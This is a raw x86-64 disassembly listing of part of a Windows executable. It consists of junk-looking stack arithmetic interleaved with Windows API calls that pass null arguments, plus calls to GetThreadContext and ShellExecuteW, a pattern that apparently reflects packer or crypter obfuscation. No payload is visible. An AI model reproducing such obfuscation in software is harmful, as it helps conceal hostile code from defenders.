mov rax, rcx
mov qword [rsp + 0xed08], rax
movzx eax, word [rsp + 0x258c]
movzx ecx, word [rsp + 0x2568]
add eax, ecx
mov word [rsp + 0x1694], ax
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xed18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xedf0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x6c34]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x615c], eax
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed60]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xed58], rax
mov rax, qword [rsp + 0xef90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x761c]
shl eax, cl
mov dword [rsp + 0x7530], eax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4db]
xor eax, ecx
mov rcx, qword [0x1401eedf0]
mov byte [rcx], al
movsx eax, word [0x1401e3398]
mov rcx, qword [rsp + 0xee00]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xed80]
mov word [rcx], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2480]
sub eax, ecx
mov word [rsp + 0x2564], ax
mov rax, qword [0x1401eedf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x299], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x1dde
mov rcx, qword [rsp + 0xed10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x752c], eax
movsx eax, word [rsp + 0x2550]
movsx ecx, word [rsp + 0x2584]
and eax, ecx
mov word [rsp + 0x2594], ax
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc7f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd8], rax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x74ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7630], eax
mov eax, dword [rsp + 0x75bc]
mov ecx, dword [rsp + 0x758c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
mov rax, qword [rsp + 0xef30]
mov rcx, qword [rsp + 0xedb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed40], rax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xede8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e3380], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov eax, dword [rsp + 0x7618]
add eax, 0xb
mov dword [rsp + 0x7618], eax
movzx eax, byte [rsp + 0x35e]
movzx ecx, byte [rsp + 0x3fd]
add eax, ecx
mov byte [rsp + 0x4db], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x24ac]
add eax, ecx
mov word [rsp + 0x2560], ax
movsx eax, byte [rsp + 0x4de]
mov rcx, qword [0x1401eede8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4d9], al
mov rax, qword [rsp + 0xef68]
movzx ecx, al
mov rax, qword [rsp + 0xed08]
shl rax, cl
mov qword [rsp + 0xecb8], rax
mov rax, qword [rsp + 0xed60]
mov rcx, qword [rsp + 0xedf0]
mov qword [rsp + 0xefc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xefc0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xed58], rax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7630]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7628], eax
mov rax, qword [rsp + 0xef90]
mov rcx, qword [0x1401eee00]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7530], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2568]
and eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x4d7]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e3039], al
movsx eax, word [rsp + 0x151c]
mov rcx, qword [rsp + 0xede8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x141c], ax
cmp dword [rsp + 0x7618], 0x8704
jb 0x14001b098
mov rax, qword [rsp + 0xedb8]
mov rcx, qword [rsp + 0xed40]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xef30], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0xedb8]
mov rcx, qword [rsp + 0xecb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xef68], rax
mov dword [rsp + 0x22a70], 0x114
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [0x1401e3388]
add eax, ecx
mov word [rsp + 0x2564], ax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x6850]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6c34], eax
mov rax, qword [rsp + 0xed48]
mov rcx, qword [rsp + 0xed58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb58], rax
mov rax, qword [0x1401eee00]
mov ecx, dword [rsp + 0x751c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x705c], eax
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xef20]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2594], ax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4db]
xor eax, ecx
mov byte [0x1401e3039], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov eax, dword [rsp + 0x75b0]
add eax, 0xfe
mov dword [rsp + 0x75b0], eax
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xecd0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xed40], rax
mov rax, qword [0x1401eede8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4d8]
shl eax, cl
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xef20]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2570], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2580]
sub eax, ecx
mov word [rsp + 0x2540], ax
mov rax, qword [rsp + 0xef90]
mov ecx, dword [rsp + 0x7640]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x758c], eax
mov eax, dword [rsp + 0x615c]
mov ecx, dword [rsp + 0x7630]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7604], eax
mov rax, qword [rsp + 0xc7f8]
mov rcx, qword [rsp + 0xed48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xed58], rax
movzx eax, byte [rsp + 0x4db]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3fd], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
movzx eax, word [0x1401e3388]
movzx ecx, word [rsp + 0x2590]
add eax, ecx
mov word [0x1401eede4], ax
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xede8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2598], ax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35e]
add eax, ecx
mov byte [rsp + 0x4e0], al
mov rax, qword [rsp + 0xef30]
mov rcx, qword [rsp + 0xef68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdd40], rax
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xeea8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xef40], rax
mov eax, dword [rsp + 0x6088]
mov rcx, qword [rsp + 0xedb0]
mov qword [rsp + 0xefc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xefc8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7034], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp dword [rsp + 0x75b0], 0x11adf
jbe 0x14001b49e
mov eax, dword [rsp + 0x74e4]
movzx ecx, al
mov eax, dword [rsp + 0x6128]
sar eax, cl
mov dword [rsp + 0x7640], eax
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
mov dword [rsp + 0x7644], eax
cmp dword [rsp + 0x7644], 0x1ce
je 0x14001b7e0
jmp 0x14001b86f
movzx eax, byte [rsp + 0x4d7]
movzx ecx, byte [rsp + 0x35e]
sub eax, ecx
mov byte [0x1401e3039], al
movsx eax, byte [rsp + 0x4d8]
mov rcx, qword [0x1401eede8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2b3], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1694]
add eax, ecx
mov word [rsp + 0x2568], ax
mov rax, qword [rsp + 0xef90]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
movzx r9d, word [rsp + 0x2584]
mov r8d, dword [rsp + 0x7034]
mov rax, qword [rsp + 0xed18]
mov rdx, qword [rax]
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rax]
call fcn.1401c5cf0
jmp 0x1401c49b5
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x74ec]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x7630]
mov edx, dword [rsp + 0x7034]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x14001b9ed
mov rax, qword [rsp + 0xed08]
mov qword [rsp + 0xefd0], rax
mov rax, qword [0x1401eede8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2b3]
and eax, ecx
movsx ecx, byte [rsp + 0x4d8]
movsx edx, byte [rsp + 0x4df]
add ecx, edx
cmp eax, ecx
jg 0x14001b9ed
movsx eax, word [rsp + 0x17ec]
mov rcx, qword [rsp + 0xef20]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xee00]
mov word [rcx], ax
lea rax, [rsp + 0xefd8]
mov qword [rsp + 0x20], rax
mov r9d, reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
lea r8, [rsp + 0xed58]
lea rdx, [rsp + 0xeef0]
lea rcx, [rsp + 0xedf0]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x7570], eax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x75d4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6850], eax
mov rax, qword [rsp + 0xef90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7530]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x761c], eax
mov rax, qword [rsp + 0xed48]
mov rcx, qword [rsp + 0xed18]
mov qword [rsp + 0xefe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xefe0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xecd8], rax
mov dword [rsp + 0x20], 0xd6
lea r9, [rsp + 0xef78]
mov r8, qword [rsp + 0xed88]
mov rdx, qword [rsp + 0xefe8]
mov rcx, qword [rsp + 0xee38]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x7648], eax
movzx r8d, byte [rsp + 0x4d8]
movzx edx, word [rsp + 0x17ec]
mov rax, qword [0x1401eee00]
mov ecx, dword [rax]
call fcn.1401c5c20
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x255c]
and eax, ecx
mov word [rsp + 0x2578], ax
movzx eax, byte [rsp + 0x4dd]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e303a], al
mov rax, qword [rsp + 0xefd0]
mov qword [rsp + 0xeff0], rax
movabs rax, 0x74caab1752b082
cmp qword [rsp + 0xeff0], rax
je 0x14001ba4e
jmp 0x14001bae3
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xed18]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xed60], rax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x7630]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x75d4], eax
mov rax, qword [rsp + 0xef90]
mov ecx, dword [rsp + 0x7600]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xef90]
mov dword [rcx], eax
lea rdx, [rsp + 0xef78]
lea rcx, [rsp + 0xeee8]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x7648], eax
mov rax, qword [0x1401eede8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4de]
shl eax, cl
mov byte [rsp + 0x2b3], al
jmp 0x1401c4944
movzx eax, word [rsp + 0x2540]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1a64], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x7514], eax
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
mov byte [0x1401eede2], al
movsx eax, word [rsp + 0x2554]
mov rcx, qword [rsp + 0xef20]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2584], ax
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xef30]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xeea8], rax
mov rax, qword [rsp + 0xef40]
mov qword [rsp + 0xeff8], rax
mov eax, dword [0x1401eee10]
cdq
mov rcx, qword [rsp + 0xef90]
idiv dword [rcx]
mov dword [rsp + 0x75bc], eax
movsx eax, word [rsp + 0x2570]
movsx ecx, word [rsp + 0x257c]
sub eax, ecx
movsx ecx, word [rsp + 0x151c]
movsx edx, word [0x1401e3398]
and ecx, edx
cmp eax, ecx
jle 0x14001bccc
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xc7f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xed48], rax
mov eax, dword [rsp + 0x615c]
mov ecx, dword [rsp + 0x7630]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7604], eax
lea rdx, [rsp + 0xf000]
mov rcx, qword [rsp + 0xf008]
call qword [sym.imp.SHELL32.dll_SHQueryRecycleBinW]
mov dword [rsp + 0x7524], eax
movsx eax, word [rsp + 0x151c]
movsx ecx, word [rsp + 0x2558]
sub eax, ecx
mov word [rsp + 0x2550], ax
movzx eax, word [rsp + 0x2590]
movzx ecx, word [rsp + 0x2540]
add eax, ecx
mov word [rsp + 0x2560], ax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3fd]
sub eax, ecx
mov byte [0x1401eede2], al
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xee18]
mov byte [rcx], al
lea rdx, [rsp + 0xef30]
lea rcx, [rsp + 0xef20]
call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0xf010], rax
call fcn.1401c5a70
mov rax, qword [rsp + 0xef30]
mov rcx, qword [rsp + 0xecb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
movzx eax, word [rsp + 0x2590]
movzx ecx, word [rsp + 0x1a64]
and eax, ecx
mov word [rsp + 0xefc], ax
mov eax, dword [0x1401eedf8]
mov dword [rsp + 0x764c], eax
lea rcx, [rsp + 0x205a0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0xef90]
mov ecx, dword [rsp + 0x60e0]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x761c], eax
mov rax, qword [0x1401eede8]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e3038]
xor eax, ecx
mov byte [rsp + 0x2b3], al
mov rax, qword [rsp + 0xed48]
mov qword [rsp + 0xf018], rax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2598]
sar eax, cl
mov word [rsp + 0x2558], ax
movzx eax, word [rsp + 0x258c]
movzx ecx, word [rsp + 0x1694]
shl eax, cl
mov word [0x1401e339c], ax
mov rax, qword [rsp + 0xef20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xee00]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2160], ax
movzx eax, byte [rsp + 0x35e]
movzx ecx, byte [rsp + 0x4db]
sub eax, ecx
mov byte [rsp + 0x4d7], al
lea rax, [rsp + 0x3fd]
mov qword [rsp + 0xf020], rax
mov rax, qword [rsp + 0xecd8]
mov qword [rsp + 0xf028], rax
mov rax, qword [rsp + 0xef90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6128]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x6c34]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7628], eax
mov rax, qword [rsp + 0xef90]
mov ecx, dword [rsp + 0x751c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x1401eee00]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x7600]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x1401c4823
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov qword [rsp + 0xf030], rax
mov eax, dword [rsp + 0x75f4]
mov ecx, dword [rsp + 0x6128]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7650], eax
mov rcx, qword [rsp + 0xef90]
mov eax, dword [rcx]
cdq
idiv dword [rsp + 0x7640]
mov ecx, dword [rsp + 0x7650]
cmp ecx, eax
jl 0x1401c45b9
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [0x1401e3384]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6088], eax
mov eax, dword [rsp + 0x758c]
imul eax, dword [rsp + 0x75bc]
mov dword [rsp + 0x6f6c], eax
mov rax, qword [rsp + 0xc7f8]
mov rcx, qword [rsp + 0xecd8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xed58], rax
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1240]
sub eax, ecx
mov word [rsp + 0x257c], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2568]
add eax, ecx
mov word [0x1401e339c], ax
lea rax, [0x1401eede2]
mov qword [rsp + 0xf038], rax
mov rax, qword [rsp + 0xdd40]
mov rcx, qword [rsp + 0xef30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xef68], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7588], eax
mov rax, qword [rsp + 0xecd0]
mov qword [rsp + 0xf040], rax
movsx eax, word [rsp + 0x151c]
mov rcx, qword [rsp + 0xee00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2558], ax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x68dc]
shl eax, cl
mov dword [rsp + 0x74d4], eax
mov rax, qword [rsp + 0xef90]
mov eax, dword [rax]
mov dword [rsp + 0x7654], eax
lea rax, [rsp + 0xf028]
mov qword [rsp + 0xf048], rax
lea rcx, [rsp + 0x205c8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rdx, [rsp + 0x7658]
mov rcx, qword [rsp + 0xedc8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x75a0], eax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf038]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x35e], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2590]
xor eax, ecx
mov word [0x1401e33a0], ax
mov rax, qword [rsp + 0xef40]
mov rcx, qword [rsp + 0xed40]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xe030], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x75a4], eax
movsx eax, byte [rsp + 0x4de]
movsx ecx, byte [rsp + 0x113]
and eax, ecx
mov byte [rsp + 0x4df], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xef80], rax
lea rax, [rsp + 0xefc]
mov qword [rsp + 0xf050], rax
movzx eax, byte [rsp + 0x3fd]
movzx ecx, byte [rsp + 0x4e0]
sub eax, ecx
mov byte [rsp + 0x299], al
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov dword [rsp + 0x765c], eax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x7628]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x615c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov qword [rsp + 0xf058], rax
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xef20]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2588], ax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x764c]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x74ec]
mov edx, dword [rsp + 0x75d4]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x14001c1ae
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35e]
and eax, ecx
mov byte [0x1401e303a], al
mov dword [rsp + 0x28], 0xcc
mov rax, qword [rsp + 0xf008]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xf060]
mov r8, qword [rsp + 0xed88]
mov rdx, qword [rsp + 0xf068]
mov rcx, qword [rsp + 0xee30]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0xee40], rax
mov rax, qword [rsp + 0xef90]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0xef20]
movzx r9d, word [rax]
mov r8d, dword [0x1401eedf8]
mov rdx, qword [rsp + 0xf030]
mov rax, qword [rsp + 0xf048]
mov rcx, qword [rax]
call fcn.1401c5cf0
mov rax, qword [rsp + 0xf050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
add eax, ecx
mov word [rsp + 0xf10], ax
movsx eax, word [0x1401e3380]
movsx ecx, word [rsp + 0x2554]
sub eax, ecx
mov word [rsp + 0x257c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0xe030]
mov rcx, qword [rsp + 0xeff8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
mov rax, qword [rsp + 0xecd0]
mov qword [rsp + 0xf070], rax
mov rax, qword [rsp + 0xf048]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xedf0]
mov qword [rsp + 0xf078], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf078]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xecd8], rax
mov rax, qword [rsp + 0xef90]
mov eax, dword [rax]
mov dword [rsp + 0x7660], eax
lea rax, [rsp + 0x68dc]
mov qword [rsp + 0xf080], rax
lea rcx, [rsp + 0x205f0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, byte [rsp + 0x4da]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
or eax, ecx
movzx ecx, byte [rsp + 0x35e]
mov dword [rsp + 0x7664], ecx
movzx edx, byte [rsp + 0x4db]
movzx ecx, dl
mov edx, dword [rsp + 0x7664]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x1401c447e
movzx eax, byte [rsp + 0x4db]
movzx ecx, byte [rsp + 0x4da]
add eax, ecx
mov byte [rsp + 0x4dd], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf050]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e33a0], ax
lea rdx, [rsp + 0x21358]
mov rcx, qword [rsp + 0xedc8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x7668], eax
mov rax, qword [rsp + 0xef40]
mov rcx, qword [rsp + 0xecb8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xea88], rax
mov rax, qword [rsp + 0xed80]
movzx eax, word [rax]
mov word [rsp + 0x259c], ax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d7]
sar eax, cl
mov byte [rsp + 0x3fd], al
lea rax, [rsp + 0x1694]
mov qword [rsp + 0xf088], rax
movzx eax, word [rsp + 0xf10]
mov rcx, qword [rsp + 0xf088]
movzx ecx, word [rcx]
shl eax, cl
movzx ecx, word [rsp + 0x258c]
movzx edx, word [rsp + 0x2540]
sub ecx, edx
cmp eax, ecx
jg 0x14001c484
lea rcx, [0x1401e48b0]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x254c], ax
mov eax, dword [rsp + 0x7544]
mov ecx, dword [rsp + 0x74d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x65a0], eax
mov rax, qword [0x1401eee08]
mov rcx, qword [rsp + 0xed48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf058], rax
mov rax, qword [rsp + 0xef90]
mov ecx, dword [rsp + 0x7660]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x705c], eax
movzx eax, byte [rsp + 0x4d9]
mov byte [rsp + 0x4e1], al
movsx eax, word [rsp + 0x2584]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2160], ax
movzx eax, byte [rsp + 0x4dd]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e303b], al
mov rax, qword [rsp + 0xf088]
movzx eax, word [rax]
mov word [rsp + 0x25a0], ax
mov rax, qword [rsp + 0xe030]
mov rcx, qword [rsp + 0xedb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
jmp 0x14001c559
mov rdx, qword [rsp + 0xed88]
lea rcx, [rsp + 0x151c]
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov dword [rsp + 0x766c], eax
mov rax, qword [rsp + 0xe030]
mov rcx, qword [rsp + 0xef40]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x615c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x75d4], eax
mov rax, qword [rsp + 0xf058]
mov rcx, qword [rsp + 0xf048]
mov qword [rsp + 0xf090], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf090]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xf018], rax
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xef90]
mov qword [rsp + 0xf098], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf098]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6f6c], eax
mov rax, qword [rsp + 0xf088]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf050]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf10], ax
mov rax, qword [rsp + 0xf020]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x4dd]
movzx edx, byte [0x1401e303a]
sub ecx, edx
cmp eax, ecx
jle 0x14001c6f2
mov rax, qword [0x1401eedf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35e]
add eax, ecx
mov byte [rsp + 0x4da], al
movsx eax, byte [rsp + 0x4de]
movsx ecx, byte [0x1401e3038]
sub eax, ecx
mov rcx, qword [0x1401eede8]
mov byte [rcx], al
mov edx, ILCloneFirst
mov rcx, qword [rsp + 0xee38]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [rsp + 0x7670], eax
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xf040]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdd40], rax
mov rax, qword [rsp + 0xef40]
mov rcx, qword [rsp + 0xed40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xef68], rax
